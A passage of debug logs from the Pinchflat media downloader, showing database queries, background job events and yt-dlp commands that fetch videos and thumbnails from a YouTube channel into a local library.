idle=709.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 20:49:37.914 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:49:37.914 [debug] QUERY OK source="sources" db=0.0ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:37.914 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:37.914 [debug] QUERY OK source="media_items" db=0.0ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 20:49:37.914 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [4] 20:49:37.914 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:37.915 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:37.915 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:37.915 [debug] Running yt-dlp command for action: get_downloadable_status 20:49:37.915 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:37.915 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:37.915 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:37.915 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLVdWyNljP8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e9/be/e9be6c48698be0472a4c63d2b3ff64691d8797dcf92d1e4f6cb72bc26646e092.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:49:40.291 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLVdWyNljP8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e9/be/e9be6c48698be0472a4c63d2b3ff64691d8797dcf92d1e4f6cb72bc26646e092.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:49:40.291 [debug] Running yt-dlp command for action: download 20:49:40.291 [debug] QUERY OK source="settings" db=0.0ms idle=1233.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:40.291 [debug] QUERY OK source="settings" db=0.0ms idle=1234.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:40.291 [debug] QUERY OK source="settings" db=0.0ms idle=1234.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:40.291 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLVdWyNljP8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8b/f7/8bf7b0d09484d6d8304e5dafcbb00f93cdfc782474bd8d88fdc5de234c2e81bf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:49:58.575 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.561 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:28.577 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:58.579 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.563 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:05.924 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gn8w1oGCc6o --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/18/0f/180f277bdea6d99f527c68747d2bb3996570c8000016ddcd9a5c8d2786d400ce.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:51:05.933 [debug] Running yt-dlp command for action: download_thumbnail 20:51:05.933 [debug] QUERY OK source="settings" db=0.0ms idle=1876.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:05.933 [debug] QUERY OK source="settings" db=0.0ms idle=1876.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:05.933 [debug] QUERY OK source="settings" db=0.0ms idle=1876.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:05.933 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gn8w1oGCc6o --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/3/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/b3/cf/b3cf9c54e131a8d3cdcc06abd40dad2be99549c48b8d6e7484c2b6e8ae6029ee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:51:08.323 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gn8w1oGCc6o --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/3/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/b3/cf/b3cf9c54e131a8d3cdcc06abd40dad2be99549c48b8d6e7484c2b6e8ae6029ee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:51:08.324 [debug] QUERY OK db=0.1ms idle=1266.3ms begin [] 20:51:08.324 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:51:05Z], "/downloads/Last Meals/2023-04-11 Ben Schwartz Eats His Last Meal/Ben Schwartz Eats His Last Meal [gn8w1oGCc6o].mp4", ~U[2026-03-28 00:51:08Z], 3] 20:51:08.324 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/3/metadata.json.gz", "/config/metadata/media_items/3/thumbnail.jpg", 3, ~U[2026-03-28 00:51:08Z], ~U[2026-03-28 00:51:08Z]] 20:51:08.325 [debug] QUERY OK db=0.1ms commit [] 20:51:08.325 [debug] QUERY OK source="media_items" db=0.5ms idle=1267.7ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [461897227, ~U[2026-03-28 00:51:08Z], 3] 20:51:08.325 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:51:08.325 [info] {"args":{"id":3},"id":6,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":145431116,"event":"job:stop","queue_time":111894392,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:51:08.331 [info] {"args":{"id":5},"id":8,"meta":{},"system_time":1774659068331713748,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:51:08.331 [debug] QUERY OK source="media_items" db=0.0ms idle=274.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 20:51:08.331 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:51:08.332 [debug] QUERY OK source="sources" db=0.0ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:08.332 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:51:08.332 [debug] QUERY OK source="media_items" db=0.1ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 20:51:08.332 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [5] 20:51:08.332 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:51:08.332 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:08.333 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:08.333 [debug] Running yt-dlp command for action: get_downloadable_status 20:51:08.333 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:08.333 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:08.333 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:08.333 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=P62Tjxn9NLg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/34/8b/348b0fa0c82040c5196ddb82ecb3f80317986e997d8b568869ef7890ce97df66.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:51:10.668 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=P62Tjxn9NLg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/34/8b/348b0fa0c82040c5196ddb82ecb3f80317986e997d8b568869ef7890ce97df66.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:51:10.668 [debug] Running yt-dlp command for action: download 20:51:10.669 [debug] QUERY OK source="settings" db=0.0ms idle=611.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:10.669 [debug] QUERY OK source="settings" db=0.0ms idle=611.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:10.669 [debug] QUERY OK source="settings" db=0.0ms idle=611.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:10.669 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=P62Tjxn9NLg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/36/61/3661c57e08ef3ec5339a053d3adf526f1bbeabd6c6fae24664b4fe4498b7bc2e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:51:28.580 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:37.756 [info] GET / 20:51:37.756 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:51:37.757 [debug] QUERY OK source="settings" db=0.2ms idle=1699.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:37.758 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1700.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:51:37.758 [debug] QUERY OK source="sources" db=0.1ms idle=1700.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:51:37.759 [debug] QUERY OK source="media_items" db=0.3ms idle=1331.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:51:37.759 [debug] QUERY OK source="media_items" db=0.1ms idle=330.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:51:37.760 [debug] QUERY OK source="settings" db=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:37.760 [debug] QUERY OK source="settings" db=0.4ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:37.761 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:37.763 [debug] QUERY OK source="tasks" db=0.6ms idle=3.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:51:37.764 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [4, 5] 20:51:37.766 [debug] QUERY OK source="media_items" db=0.3ms idle=5.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:51:37.767 [debug] QUERY OK source="media_items" db=0.8ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:51:37.767 [debug] QUERY OK source="sources" db=0.3ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:37.769 [debug] QUERY OK source="media_items" db=0.3ms idle=5.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = 